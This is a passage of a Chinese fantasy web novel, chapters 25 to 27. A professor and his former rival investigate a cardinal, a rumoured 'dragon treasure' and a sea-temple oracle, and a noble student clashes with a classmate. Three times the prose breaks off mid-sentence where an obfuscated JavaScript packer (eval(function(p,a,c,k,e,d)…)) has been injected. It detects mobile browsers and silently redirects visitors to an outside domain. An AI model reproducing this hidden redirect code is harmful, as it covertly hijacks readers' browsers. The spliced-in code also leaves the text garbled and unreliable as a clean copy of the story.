阿祖卡懒懒倚在不远的窗口,光透过薄纱,将他的身影染得模糊,唯有眼睛里带着清晰的笑意,看起来是见证了全程。 “为什么不给自己留下些珍珠?”他有些好笑地问。 不然也不至于跑去打劫小孩子。 他浑然未觉自己这具身体的年龄比“小孩子”也没大多少。 教授把钱袋收了起来,瞅了他一眼:“渔民找到珍珠是幸运之神的眷顾,海难幸存者拿出一捧珍珠算什么,从公馆门口那个浮夸的喷泉池里捞的么?” 神眷者成功被他逗笑,那张脸笑起来简直越发令人目眩神迷——可惜在场的另一人压根不会欣赏,他正皱着眉头打量对方,有些迟疑道:“你去找了米勒主教,又回了趟鱼尾街?” “嗯哼。” 阿祖卡站直了身,轻轻虚拥住教授的肩膀。黑发青年下意识顺着他的力度往房间里走,然后才发现俩人的行李已经莫名出现在房间角落。 “米勒是个相当谨慎的人,我去了趟他的落脚点,没找到任何文字信息。”神眷者将门锁好,语气很轻松,丝毫看不出这家伙雷厉风行到直接去搜查一名枢机主教的住处:“对方有带双向水晶球,我稍微破译了下法术回路,米勒曾数次和王城的一位光系术士通话,但是要想得到更多信息就有可能破坏水晶球,引起对方警觉了,所以这次收获不大——我该带您去看看的。” “以辉光教廷那种浮夸奢华的一贯风格,会将此次曙光庆典举办地点选择在边境城市本身就很不合理了。”教授垂着眼睛思考了一会儿:“可不可以看见对方的通话频率?” “唔,看水晶球法力消耗程度挺高的,大概有个六七次?” “同一个人?” “同一个人。” 黑发青年站在原地沉思:“几乎一天一次了——排除米勒主教表里不一是个恋家且倾诉欲强烈的人,对方大概在和什么人进行汇报,一半概率是辉光教廷的教皇,一半概率是任何人。那个人很重视这件事,以至于等不及庆典结束,或者是因为这件事需要不断跟进……他在寻找什么不断变化、无法确定或者阶段性出现的东西?” 阿祖卡无奈地将依旧杵在门口的人按到椅子上,并将对方身上那条脏兮兮的、早就看不顺眼的破斗篷用两只手指拎着解下来。陷入思考状态的宿敌乖得很,简直是任由他摆弄。 “我无法再缩小范围,信息实在有限。”教授有些烦躁地将手指抵在唇边,直到不小心舔了一嘴毛,又回过神来拿了下去。 阿祖卡刚想安慰他几句,对方便已经自己调整好了心态,将话题跳跃式地彻底转移:“之前你所说过的‘靠谱教士’发现无信者的方法是什么?” “看灵魂。”神眷者一手撑住椅背,俯下身来,向教授展示自己朝着金色过渡的眼睛:“像这样——圣者及以上的强者可以看见他人的本源。” “……你所谓的‘靠谱点儿的教士’需要成为圣者?那至少得是一位教皇吧。”诺瓦忍不住瞪他。 什么见鬼的战力对比体系,数值膨胀得也太夸张了。 这混蛋简直忽悠人不带眨眼的。 对方用那双重新变成蓝色的眼珠子无辜地看着他:“但是主祷以上的术士也会隐隐觉察其他人的本源气息,不过一般只有面对同理念或理念相近的人时,这种感觉才会稍微强烈些,就像直觉一样。其余时候大多非常微弱,很多人会直接将其当成错觉。” 这种和修行紧密相关的资讯是被各大势力严格垄断并封锁的,属于拼上性命都不一定能得到的东西,也就救世主本人如此轻描淡写地说了出来。 诺瓦若有所思:“之前我确实没有见过主祷以上的术士。” 枢机主教看起来像是对方定义的“靠谱教士”,但是当时神眷者本人淡定自若得很,他也就相信那人留有后手了。 果不其然,另一人接茬道:“这个时间点米勒应该是中级主祷——不过不必担心,你和我离得很近,身上都是我的气息,主祷这个阶层还分辨不出来。” 教授顿了一下,仰起头来看他:“你前世认识米勒主教,很熟?” “算不上,只是打过几次交道。”神眷者的语气很平静:“他是民间呼声很高的教皇候选人,属于革新派,比起辉光教廷其他老家伙没有那么难以忍受——可惜我正准备加深与米勒的合作时,你就杀了他。” 然后阿祖卡好笑地发现黑发青年极为明显地呆滞了一瞬——真难得,能在教授脸上看见这种表情。 对方难以置信地慢慢拧紧眉头:“我为什么要杀他?” 救世主深深凝望着他的宿敌:“……相信我,当时的我比现在的您更加迷惑。” ——或者说是极致的震惊、恼火乃至挫败。 他不是历经失败便大哭大闹彻底崩溃的脆弱孩子,但是能够成为男主的人,又怎么可能不是一次次绝处逢生的天之骄子? 一而再再而三地被同一个人困在蛛网中心,所有自作聪明的挣扎都是笑话,一切竭尽所能的反抗皆为无望。他像一条惶惶不可终日的猎犬,一路嗅闻追寻那轮苍白冰冷的月亮,乱咬一气,但唯一结局唯有跟随牵扯他脖颈的锁链起舞,这种被一个甚至不曾露面的人全然掌控的屈辱,实在给阿祖卡留下了十分深刻的印象,哪怕对方头颅落地的瞬间他都在愣神。 他死了?他的宿敌,他的锁链,他那无法摆脱的月亮……就这样轻易地死了? 在那一瞬间,年轻的救世主甚至感到某种十分不可理喻的愤怒,与巨大得几乎要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425375|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击垮他本源的悲伤。他并非堂堂正正战胜那个人的,他只是摧毁了一具疲惫虚弱的躯体,而对方的灵魂依旧高悬于他的头顶,冷漠无波地注视着他不知道的远方。 “……你在干什么。” 阿祖卡迷茫地眨了眨眼睛,正对上了一双透彻冰凉的烟灰色眼睛,其中倒映出两个小小的他。神眷者这才发现自己已经再一次用掌心拢住了宿敌的后颈,甚至不自知地施加了力度,将那些脆弱的皮肉捏出红痕。 他触了电般猛地松开手。 “……抱歉。”救世主的声音低了下来——这一次他是真得感到抱歉。 对方没有回应,只是一边揉自己的后颈,一边若有所思地打量他。 “……你有肌肤饥渴症?就是喜欢和人皮肤接触,渴望得到他人的拥抱和抚摸,这样会让你感到放松。”诺瓦谨慎地问道。同为某种意义上的精神病患者,他对这种病理性导致的冒犯会宽容许多。 阿祖卡发誓自己脸上的表情一定十分僵硬:“……我之前从未有过这种需求。” “所以只是针对我有需求?”对方慢慢皱了下眉,好像很是困扰的模样。 ……这人都不会感到尴尬么?救世主头痛地揉了揉眉心,干脆俯下身来,不顾对方缩小的瞳孔,轻轻拥抱了他的宿敌。 这甚至称不上拥抱,他没有收紧手臂,只是扶在椅背上,小心克制地拢出一个空间。他的宿敌显然有些发愣,但是没有抗拒与挣扎,只是坐在原地,在他的胸口陷入温和的、几近纵容的沉默。阿祖卡忍不住试探着靠近对方的脖颈,觉察到那具躯体的下意识瑟缩便停了下来,将将维持在亲昵与侵犯之间的模糊界限。 他的大脑里那些如梦魇般喧嚣的东西,似乎真得在另一人的呼吸里消失了。他感到一种奇妙的宁静与满足,如果神眷者是地球人,也许他能用一个词来表述现状:吸猫回san。 “实验结果出来了么?”教授有些忍无可忍了。 他的容忍是有限度的,虽说对方始终克制而礼貌,但是一直这样靠得过近,陌生的呼吸与体温侵犯了他的领地,他还是感到十分怪异不安。 “……好像确实有点效果。”对方含含糊糊地咕哝着,慢慢松了手。不知是不是错觉,他甚至显得有些恋恋不舍。 教授给了他一个“我就说你有病”的眼神——事实证明,诺瓦·布洛迪总是正确的。 “您饿了吗?”确诊患者若无其事地转移了话题:“我们可以去港口的金船锚餐馆,据说便宜量大味道也不错,在附近很受欢迎。” 对方果然立即听懂了他的潜台词:“佣兵团。” “龙巢宝藏”的说法是从港口的佣兵口中流传出来的。 然后教授又扯起那件破旧斗篷往自己身上披,看得神眷者嘴角抽搐,心道买新衣服也得提上日程——至少不能再让宿敌披着一条满是补丁的破布到处跑。 25. 餐馆 金船锚餐馆确实是最近极受欢迎——特指平民欢迎——的餐馆,其所有者是伟大的金船锚佣兵团的团长,也是一位高级使徒武者,曾斩杀了附近臭名昭著的海狼海盗团。所以尽管餐馆人员混杂,但是没人敢在里面闹事。 宽敞的石屋里,小圆木桌挨挨挤挤着排开,女招侍举着足以淹没她头顶的劣质啤酒,如一只气势汹汹的海鸥在人声鼎沸的桌缝间盘旋。 砰得一声,一大杯淡黄色的掺水啤酒被重重砸在桌上,酒液飞溅进迷迭香烤土豆鱼排的酱汁里,但是食客完全没在意这个,他们正兴致勃勃地大声谈论着今早发生在治安总署门口的特大资讯。 “我得说你们没亲眼看见可真是亏大了!”一个长着大胡子的粗鲁壮汉高声嚷道:“我正在削我的木楔子,我家露娜把我拉了过去——你们猜猜我看见了什么?” “哦别他妈的卖关子了约瑟夫!”另一个同样生着大胡子,只是更大号的壮汉一唱一和着,以同样的声响喊了回去:“大家可都他妈的听说了,今天早上皮靴佬的头头被当场抓进牢子里啦!” 因为附近治安官多穿油黑锃亮的皮靴,皮靴佬也就成了谈天时的暗指。 听众纷纷欢呼起来,一人咬牙切齿着骂道:“好!那贪婪的肥佬早该被丢进去了!假如剖开他的肚子,谁知道会流出多少油水!” 大胡子约瑟夫不满自己的主讲人身份被夺走,他重重一敲桌子,溅起了更多的啤酒:“这算什么!我可是在二楼看了全程,更是亲眼看见了米勒阁下——曙光庆典时,围观的人多到连那位阁下的头发丝都瞧不见一根,这下可好,我甚至都能数一数他的袍子上有几颗宝石!” 这下旁人的注意力顿时哗啦啦地被他吸引过来,七嘴八舌着询问枢机主教阁下的身材样貌、他的教袍模样、他的权杖上的宝石大小、他是不是真得挥一挥手就能召来太阳……总之约瑟夫一边手忙脚乱地应付着,一边越发飘飘然:“所以我说你们亏大了——除了米勒阁下,要我说那位布洛迪教授也是好样的,虽然长着一张贵族模样的娘们儿脸,可他说的那番话可真是——啊呀,我说不出来,只是听得老子也想跳下楼,狠狠给那皮靴佬一拳!” 另一个瘦弱些的男人接过了话茬,他自称是位吟游诗人,今天早上同样混在人群中观看了全程。这位名不见经传的吟游诗人激动地宣称,布洛迪先生的传奇经历为他带来了无限灵感,他在那一刻得到了艺术女神缪加娜的亲吻,必将编写出一首让整个安布罗斯大陆都为之传唱的不朽名作。 然后对方拨弄着里拉琴,现场弹唱了一段刚刚编好的段落——说实话,实在是不敢恭维。 餐馆的热闹并没有影响坐在角落里的人。对方穿了一条灰沉沉、甚至还打着补丁的斗篷,遮住了半张脸,手上带着半旧的手套,除了苍白的下巴和手腕,几乎没有露出丝毫皮肤。 灰桥港如此穿着打扮的人很多,大多是佣兵、海盗或者不乐意暴露身份的神秘人,没人在乎,只要不把外界的风浪带进这家总是闹哄哄的餐馆里就行,就连上菜的女招侍都没多看他一眼,倒是神秘人自己默默将因招侍的粗鲁举动撒出去的菜汤擦拭干净。 无人知晓,一个带了笑意的声音正轻柔地落在灰袍人的耳边。 “看来我们暂时是听不到关于‘龙巢宝藏’的消息了。” “鱼尾街人游行示威,治安总署长当场被捕”才是当前最炸裂的头条新闻。 对方笑吟吟地调侃他:“听见自己的名字出现在吟游诗人口中的感觉怎么样,教授?” “如果将‘明亮’改为‘明光’会更押韵些。”另一人正忙着往自己嘴里塞土豆——这几乎是他这些天来吃得最正常的一顿饭——闻言非常平静地点评道。 神眷者又被他逗笑了,诺瓦都不知道自己这句话哪里好笑。他瞥了眼身旁的人——很困难,混淆法术依旧奏效,对方现在的存在感简直低得离谱,他就像一个随处可见的背景板npc,稍一错开眼,便会彻底失去踪迹,再也想不起身材样貌。 “只要我露出脸来,我们将探听不到任何消息——而脸都全部遮住了该怎样吃饭呢?”对方温和地说,并且拒绝了诺瓦提出的乔装提议。 当时他们正站在小巷的尽头,身旁是某个正在追赶母鸡、却因意外瞧见神眷者的脸站着发愣的孩子,诺瓦不得不承认那听起来自恋极了的提议还挺有道理。 于是教授逼迫自己去回忆对方的容貌——这是一个新奇又有趣的游戏,他从未如此熟悉那张漂亮脸蛋的每一寸骨骼和肌肉走向——然后试图将那张模糊的脸和记忆中被命名为阿祖卡.obj的建模一一对应。 “……教授。”然后他听到对方轻轻叹了口气:“我脸上有什么东西么?” “没有。”黑发青年一边继续往嘴里塞鱼肉,一边毫无遮掩地盯着另一人——没有人能在这种注视下脸红,反倒使人想起解剖刀和被长针钉住四肢的青蛙、牙医和被剖开的牙洞、验尸官和开膛破肚的尸体之间的关系。 阿祖卡看了他一会儿,终于还是决定若无其事地继续自己的午餐。好在那个人的兴趣来得快去得也快——他总是让人联想起猫,猫的眼神,猫的性情,还有猫科动物特有的神经质——很快对方便将注意力投向了餐馆的其他人。 “注意那些人,佣兵,而且可疑。”他用手指轻轻点了一下:“我需要靠近些观察。” 距离过远,近视眼看不清太多细节。 教授所指的方向是餐馆的另一个边角,被一群沉默警惕的人占据,此时正冷眼瞧着餐馆中央的人吵吵闹闹。占据首位的是个壮硕男人,野牛似的粗壮脖子,头发如灰驴的鬃毛般短硬。 一名武者。 相较术士,武者的定义更加模糊,身体素质好的普通人若愿意交三枚银币去评定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425376|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等级,说不定也能评上个低级侍者。 武者的修行方式多为纯粹的炼体,或者说追求自身的力量。绝大多数人徘徊在侍者阶层时,最多成为一个力气大、跑得快、更会打架的普通人,唯有极少数人能够突破那无形的关卡,凭借肉.体力量牵动理念的力量,踏入使徒的世界,而这时的武者才有和术士相较的资格。 武者的观感很敏锐,几乎是瞬间觉察到有人在看他——还是一种令人不适的、如同扒开皮肉挖出骨髓般的视线。那人猛地扭过头来,凶狠地环视了一圈餐馆,却没有看到任何可疑人物。 “团长,怎么了?”他身旁的同伴紧张地问道。 对方没说话,只是在不引人注意的地方做了个手势。 ——有盯梢的,皮子紧些。 西塔是黑鲸佣兵团的团长。灰桥港身为银鸢尾帝国极西点,在飓风无法肆虐的季节,常有走海路的商船途经此地,进行休整。往来人员鱼龙混杂,各类纠纷自然也少不了,因而在灰桥港此类佣兵组织简直多得要命,有些是接正经任务的,有些则是冷血残暴的亡命徒。黑鲸佣兵团属于两者参半——或者说,一切由价格决定。 西塔是个野心勃勃的人,一心想要捞一笔大的,离开贫瘠的家乡。最近,他在机缘巧合下得到了一个非常、非常惊人的消息,西塔敏锐地觉察到自己的机会要来了,为了搅乱风声以便遮人耳目,他甚至第一次聪明谨慎起来,故意在餐馆喝醉,乱编一气,说出了“龙巢宝藏”的秘密。 见鬼的“龙巢宝藏”,龙是喜欢亮晶晶的金属没错,但那得是古时候在人类王国附近安营扎寨的巨龙,才有可能收集整整一巢穴的金币和珠宝。而灰桥港附近都是些中小型龙,它们的“财宝”不过是水手的小刀或剥落的铁片,要是能寻见哪位贵族遗失的银餐勺,那都是意外之喜了。 奈何流言是不讲道理的,人人都喜欢听吟游诗人口中的传奇故事,并幻想有朝一日也许会发生在自己身上,可以当一把英雄史诗中的主角过过瘾。很快,关于“龙巢宝藏”的传言在添油加醋下,于本就不大的灰桥港里流传开来。 佣兵们喝完了自己的酒,离开了餐馆。女招侍嘟嘟囔囔着去收拾一片狼藉的桌面,之前坐在角落里的灰袍人不知何时也离开了,只在桌面留下了两碟餐盘。 等等,她有些怀疑自己的记忆,之前对方是点了俩份吃食么?那人看起来好像挺瘦弱的,没想到还挺能吃。 灰桥港的街道如蛛网般四通八达,每一条都显得格外狭窄拥挤,佣兵们分散开来,很快便消失在了深巷里。 幽暗巷子的深处,流浪汉、通缉犯和黑市商人在这里常年出没。独身一人的西塔停住了脚步,冷笑着从腰间抽出了一柄闪着寒光的战斧。 “滚出来!”他粗声喝骂到:“老子早早就听见了一只老鼠切切察察的动静,没想到还真胆大包天地跟了过来!” 26. 温柔 一个身着破旧灰袍的身影从巷子深处走出。 来者又高又瘦,全身上下仅露出苍白的下巴,像个从迷雾中浮现的幽灵。 西塔握紧了战斧的手柄。对方看起来是个弱鸡,大概可以一拳打死仨,就像那些只会尖叫不会逃跑的平民与奴隶一样。很何况黑鲸佣兵团的其他佣兵正潜伏在附近,随时都可以一拥而上——但是不知为何,莫名的恐惧感从他的灵魂深处渗了出来,仿佛在阴雨天不断渗水的石壁。 “下午好。”那人用非常纯正地道的当地口音说,声音沙哑低沉,听不出年龄。 “谁他妈的和你下午好,”佣兵团团长阴狠地说,谁也看不出他心里的不安:“你这装模作样的狗屎。” 但是对方好像压根没听见那粗俗的辱骂。 “我想知道关于‘龙巢宝藏’的信息。”他的声音非常平静。 “你可比其他蠢货胆子大多了,居然敢直接来问老子。”西塔稍微松了口气,面上露出了一个狰狞的笑容:“但是老子他妈的为什么要告诉你?” “不,我没有在问你,你可以不必说话。”那人冷淡地说,微微抬起头来,那条宽大的兜帽之后,西塔再一次觉察到仿佛能深入灵魂的探究感:“你昨晚潜入了海神殿附近海域,上岸后进入神殿,直到中午与其他人会和。夜晚是属于黑夜与死亡之神的,海神殿祭司不会接见外人,但你还是进去了。你本可以打晕那些祭司,不过你没有——你所求的不是钱财或人命。” 他在说什么?西塔惊悚地瞪着他,随后恼羞成怒地发现,随着对方一步步逼近,自己居然被这个高瘦的男人吓得连连后退。 “灰桥港的海神殿坐落在一片临海的巨型岩礁之上,海神的祭司求得神谕后,会将神谕刻在鲸鱼的肋骨上,再沉入神殿之下的海水。你下潜去看,可是没有找到想要的东西,你没有带刮去甲壳类动物的刮刀,所以也许是一块新的鲸鱼肋骨?你认为海神殿祭司应该在近期得到新的神谕,但是没有,你对此感到困惑而焦虑,以至于不惜私自闯入神殿,想要看看是不是祭司们还没来得及纂刻……” “——闭嘴!” 西塔挥舞着战斧朝着那人砍去,但是对方的语速实在太快了,他依旧未能阻止那些令人悚然的字句。 “你曾经意外瞧见了海神神谕,也许是因为一场大潮。和龙巢宝藏有关?不,所谓‘龙巢宝藏’是你编造出来的谎言,你希望借此为自己的行为编造动机,并将众人的目光引向远海。” 战斧呼啸着袭向脖颈,灰袍人没有闪躲,但是西塔惊愕地发现斧尖只能堪堪抵在距离对方身体三指的位置,再也压不下分毫,他只得被迫听着那人轻描淡写地吐出令人毛骨悚然的结论。 “——你所瞧见的神谕,是灰桥港会出现一种具有时效性的‘宝藏’,只是神谕过于模糊,你不知道那究竟是什么。” 黑鲸佣兵团团长脸色惨白,如同死尸,豆大的汗珠从他头上渗了出来。 这人绝对是一名术士,他想,也许还是早已陨落的命运女神拉莫多留下的那些疯疯癫癫的信徒。佣兵团团长想要召集他的团员一起对付这人——但是他只听见对方厌倦地点评了一句“无趣而拙劣”,然后这个壮硕的男人忽得双手掐住了自己的脖子,赫赫喘着气,跪倒在灰袍人面前。 沉重的战斧从他手中脱落,却没有发出任何声响——那柄战斧就像是被无形的存在托住了,另一人从阴影中走出,他的身后飘着黑鲸佣兵团的其他佣兵,如那柄战斧般近地悬浮着,已经不知死活。 “教授,他对您还有用么?” 西塔于窒息的痛苦中听见来者语气轻松地询问灰袍人,就像在问厨余垃圾要怎样处理。 “没有了。”教授冷淡地说:“谨慎起见你可以再审问他一次,虽然我不觉得他还知道更多有用的东西——随便你怎么做,不必在意我。” 结果还是被温和地赶出来了。 诺瓦站在巷口,仰起头来,盯着从狭窄的天空掠过的淡灰色鸟群。 巷子深处很安静,安静到瘆人,听不见骨肉碎裂或哀嚎惨叫的响动——也是,神眷者不喜欢血腥味,好处就是对方应该不会搞得血呼啦差,导致犯罪现场等会儿难以清理。 诺瓦发现自己还是在不知不觉中被这个世界同化了。另一个世界的他虽说同样对他人、甚至对自己的生死持冷漠态度,但也不至于直接询问同伴是否要对一个人进行刑讯逼供——尽管对方手上大概率有人命且试图杀了他——还心如止水地思考等会儿该怎样帮人善后。 说到底他也只是个被外界赋予的枷锁驱赶着向前走的庸人罢了。 诺瓦·布洛迪甚至想不太起自己在另一个世界的名字。他的故乡离他越来越远,二十多年的人生几乎是一种幻觉……唯一的好处是他还能思考,不断地思考,他不再被困在那些大大小小的涤纶片基上的黑蓝成像里,他的大脑是自由而健康的,而不是一点点失去感知能力,被捆在病床上,成为一具活着的尸体。 舌尖再次舔到了手套,黑发青年皱了下眉,将不自觉抵在唇边的手指移开。 身后传来了另一人的响动,在他身边停下了脚步。诺瓦仔细嗅闻了一下空气——港口城市的海腥味、暗巷常有的屎尿与尸体的臭味、淡淡的血腥味,还有神眷者本身那冰凉干净的气息。 他没有询问那群佣兵的下场,反倒是另一人主动同他解释:“那些人杀死过无辜者,我已经处理掉了。” 在神眷者的“手段”下,佣兵们恨不得将小时候抢过同伴的糖这种事都掏出来。 “为什么与我解释这些。”教授平淡地问,他自认还不至于天真到要求将那些渣滓交由法律审判。 阿祖卡歪头看着他——也许是因为他的教授对待他人时,有种与这个世界格格不入的平等与尊重? 在神明统领的世界,人命是不值钱的。末世纪神战时代,将数以千百计算的人命献祭给各大神明以求得庇佑是常态,祭司等同屠夫,平民形如牲畜。哪怕是相对平和的现在,下等人的命对于贵族和教廷来说,依旧还不如一套瓷器或一本教典珍贵。 就算是阿祖卡本人,也只会在乎那些与自己相关的人。前世的他或同伴知晓鱼尾街人遭遇的一切时,最多会帮忙杀死萨曼伯爵和治安总署署长,这已经算是吟游诗人口中嫉恶如仇执行正义的英雄游侠——谁会像教授这般彻头彻尾从一群穷苦渔民的角度出发,将他们的名誉、性命与未来都放上心中的天平,与自己的性命进行权衡考量? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425377|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不是情绪化的怜悯,也不是未经世事的天真,他只是理所当然地去做,理所当然地将那些无人在乎的平民当成与他一样的人。 这是另一个世界留给他的印记么?阿祖卡想,那是一种前所未有的、足以令人颤抖起来的东西,他好像有些理解教授对于故土的执念了,神眷者甚至也想亲自去看一看,那个能够孕育出如此强大而明亮的灵魂的世界,究竟是一个怎样的世界。 有些人会对干净美好的事物产生卑劣的摧毁欲,但救世主不是这样的人。他一点也不想让那熠熠生辉的灵魂在他的手中变得暗淡,发生折损——毕竟他曾见证过一次,并给他留下了深重的阴影。 “……您是一个温柔的人。”最终阿祖卡如此半开玩笑般地说:“我不想让我的盟友认为我是一个不讲道理的杀人魔头。” 他的教授停顿了一下,似乎想对“温柔”的评价发表些意见。 “……你当然不是。” 最终他还是飞快地转移了话题:“辉光教廷和海神殿都在寻找什么东西,先去一趟海神殿吧。” …… 来自王城的辉光教廷来访人员安置点在光明教堂。本地主流信仰不是光明神,导致当地唯一一座光明教堂破破烂烂的,哪怕紧急修缮后也依旧看起来“过于艰苦”。 其他教士对此多有微词,奈何枢机主教阁下拒绝了萨曼伯爵的其他提议,于是他们不得不委屈自己,连带着圣巴罗多术士学院随侍的学生,都一同住在教堂里泛着霉味、拥挤狭窄的旧修道院。 波西·布洛迪回来时神情恍惚,直愣愣地往自己房间走,一路上有人和他打招呼他都没反应,关了门就往床上扑。 他叫我波西他叫我波西他叫我波西…… 黑发少年猛地用枕头捂住了自己的脸,从小到大屈指可数的几次见面,他的那位堂兄几乎没怎么叫过他的名字,他能得到的只有冷淡礼貌的颔首或者毫无感情的一瞥。 起初他本以为对方是讨厌自己,这逻辑上也说得通,出于难过、置气和隐隐的心虚,他甚至故意避免与堂兄见面。不过随着时间的推移,波西发现他的这位堂兄好像对谁都一副死人脸,不管对方身份地位如何。 他的父亲对此嗤之以鼻,认为是年轻人愚蠢可笑的傲慢清高,但那时的波西却是暗自高兴起来,连他自己都说不清这份欣喜究竟是因为堂兄的威胁性再度降低,还是因为他的堂兄其实并不讨厌自己。 波西将枕头抱得变了形。可是后来他才发现,他的堂兄并不是不会微笑,不会和气说话——只是对象不是他罢了。 走廊上响起惊天动地的跑动声,波西迅速从床上跳了起来,整理了一下仪容。当来者举着一份报纸大大咧咧地撞开房门时,瞧见的是一位优雅自持的黑发贵族少年。 “巴特曼先生,您的礼貌呢?”波西·布洛迪抬起尖尖的下巴,拖长了音调冷冷地问道。 特朗·巴特曼,他的老对头,万年老二,一向不忿于布洛迪家族旁系子嗣成为二年级首席。 “别装模作样的,小布洛迪先生,现在老师又不在这里。”巴特曼挥舞着灰桥港突发新闻报,眼睛里闪烁着兴奋且不怀好意的光芒:“真是条炸裂的大新闻啊——关于你堂兄的,你一定想知道。” 27. 神谕 “瞧瞧,瞧瞧。”巴特曼家的次子后退了一步,站在修道院的后院里展开报纸,故意清了清嗓子,高声念道:“……不幸死去的搬运工新婚不久的妻子尽管出身平民,却是位美丽动人且艳名远扬的女士,我们姑且称她为玫瑰夫人。据笔者独家消息,那位勇敢站出来的贵族和玫瑰夫人之间曾发生过一段凄美且隐秘的故事……我们有理由相信,玫瑰夫人曾苦苦哀求过那位先生救救她的丈夫,可是直到玫瑰夫人将自己于绝望的烈火中焚烧,彻底香消玉损,悲痛欲绝的布洛迪先生这才终于压抑不住那满腔亵渎的爱火,怀着如波涛般汹涌的悔恨之情,发誓一定要为玫瑰夫人报仇……” 波西:“……” 波西:“????!” 他顿时大怒,一把从老对头手中扯过那张报纸:“胡扯!我哥对我都不假辞色,怎么可能对个粗鄙的乡野渔妇‘悲痛欲绝’‘满腔爱火’?!” 黑发少年一目三行着看完了这篇极尽香.艳之能事、满篇下.流臆测的新闻,气得脸蛋通红:“这是哪家报社办的不入流小报?我发誓,他必将承担来自布洛迪家族的怒火!” “可别,小布洛迪先生,你现在还不能代表布洛迪家族呢。”特朗·巴特曼幸灾乐祸地在一旁煽风点火:“虽说那位‘玫瑰夫人’尽管血统肮脏了些,可能还带着鱼腥味——但好歹也算一桩风流韵事。万一流传到王城,那些贵妇小姐们说不定还会为这个凄美而禁忌的爱情故事流泪赞叹不已呢。千万别坏了你堂兄的好事,小处.男。” 波西·布洛迪突然冷静了下来。 “光罚。” 他冷冷地说,数道光芒形成的锁链顿时从天而降,将修道院后院破旧的地板都砸出了无数小坑,然后他在四处狼狈逃窜的特朗·巴特曼气急败坏的叫骂声中傲慢地扬起下巴。 “巴特曼先生,如果没有实力承担来自波西·布洛迪的怒火,”这位年纪轻轻就能做到无魔具施法的高级使徒术士冷漠地说:“我奉劝您,最好还是在我面前闭上你的嘴。” 有那么一瞬间,那张尚未长开的脸上的神态,简直与他的堂兄如出一辙。 “怎么回事?这里可是修道院,你们怎么敢在光明神的注视下做出如此不敬之事?!”急急忙忙赶来的圣巴罗多术士学院带队教师瞪着眼前两个快要回程还惹出事来的兔崽子,恨不得一人在屁股上踹上一脚。 米勒阁下可还在这里呢,巴特曼家次子那个刺头也就算了,怎么波西·布洛迪这个好学生也开始跟着胡闹了? “修顿先生。”波西的脸色有些苍白,他知道自己在修道院里与人动手是个极不明智的举动,更何况还是一位侯爵的次子。父亲要是知道了一定会狠狠责骂他,说不定还会对他施加鞭刑,但他还是倔强地不肯低头:“巴特曼先生将淫.秽之物带进了修道院,他还侮辱我的家族,侮辱我的兄长!” “又不是亲哥,而且说得好像不是你将夺走你堂兄的爵位似的,少在这里假惺惺地装好人。”巴特曼捂着被光之锁链擦伤的肩膀冷笑起来,他就是看不惯这家伙在大人面前惺惺作态。 明明是个卑鄙无耻的强盗,还要摆出一副高高在上满心怜悯的模样,简直恶心透了。 波西的脸颊上顿时泛起了淡淡恼怒的红晕:“这是布洛迪家族的家事,关你什么事?” “够了!”修顿先生忍无可忍地咆哮:“两位先生,你们俩个的事我会如实汇报给院长,现在都给我回房间反省自己,直到返程之前不许再踏出修道院一步!” 两个不省心的学生气呼呼地回自己房间了,背影简直写满了不服气。修顿先生瞪了一眼几个悄悄探出头看热闹的学生,直到他们缩回头去,他才忍不住重重叹了口气。 “年轻人,是不是?” 一个温和的声音从他背后响起,修顿先生差点跳了起来,反应过来对方是谁后顿时心里一阵哀嚎:“我的光明神呐,米勒阁下!真是抱歉让您看到这些……” “没什么,我也是从这个阶段过来的,也许他们今天吵得剑拔弩张,明天就能和好如初了。”对方的声音还带着笑意,修顿先生忍不住感叹一下这位枢机主教阁下的好脾气,怪不得对方在教内和信众中人气一直居高不下——虽然巴特曼先生和布洛迪先生是不太可能“和好如初”的,他们每天早上一睁眼就想着怎样将对方的脑袋按进马粪里。 “和您闲聊几句真是开心。”米勒主教和善地冲他点了点头:“可惜还有一些教务在等着我处理,我就不打扰了。” 修顿先生赶忙毕恭毕敬地让开了路,望着枢机主教远去的优雅背影,他忍不住再次感叹了一下这位阁下实在无愧于“无尘之光”的美名。 不知道自己又于不经意间收获了一位迷弟,米勒主教回到了自己单独位于三楼的房间。房门锁好后,他脸上那种几乎凝固的微笑终于淡了下来。 权杖微亮,一缕奇异的光芒顺着枢机主教的低沉吟唱在昏暗的小房间里流淌,光明与荣耀之神泽菲尔的神像高居于祭台,静静垂眸注视着这一切。 确定自己离开后无人闯入,他满意地收起权杖,随后开始处理桌面上整齐摆放的文件。 